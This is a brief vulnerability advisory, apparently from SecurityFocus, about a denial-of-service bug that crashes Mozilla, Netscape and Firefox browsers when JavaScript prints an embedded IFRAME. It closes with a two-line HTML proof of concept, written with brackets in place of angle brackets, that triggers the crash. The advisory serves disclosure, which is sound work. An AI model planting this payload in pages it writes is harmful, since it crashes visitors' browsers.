source: https://www.securityfocus.com/bid/11823/info

Mozilla/Netscape and Firefox browsers are reported prone a remote denial of service vulnerability. It is reported that the affected browsers will crash as a result of a NULL pointer dereference when a JavaScript function attempts to print an IFRAME that is embedded in the page.

Replace '[' with '<' and ']' with '>'.
[iframe id="pocframe" name="pocframe" src="about:blank"></iframe]
[script type="text/javascript">window.frames.pocframe.print();</script]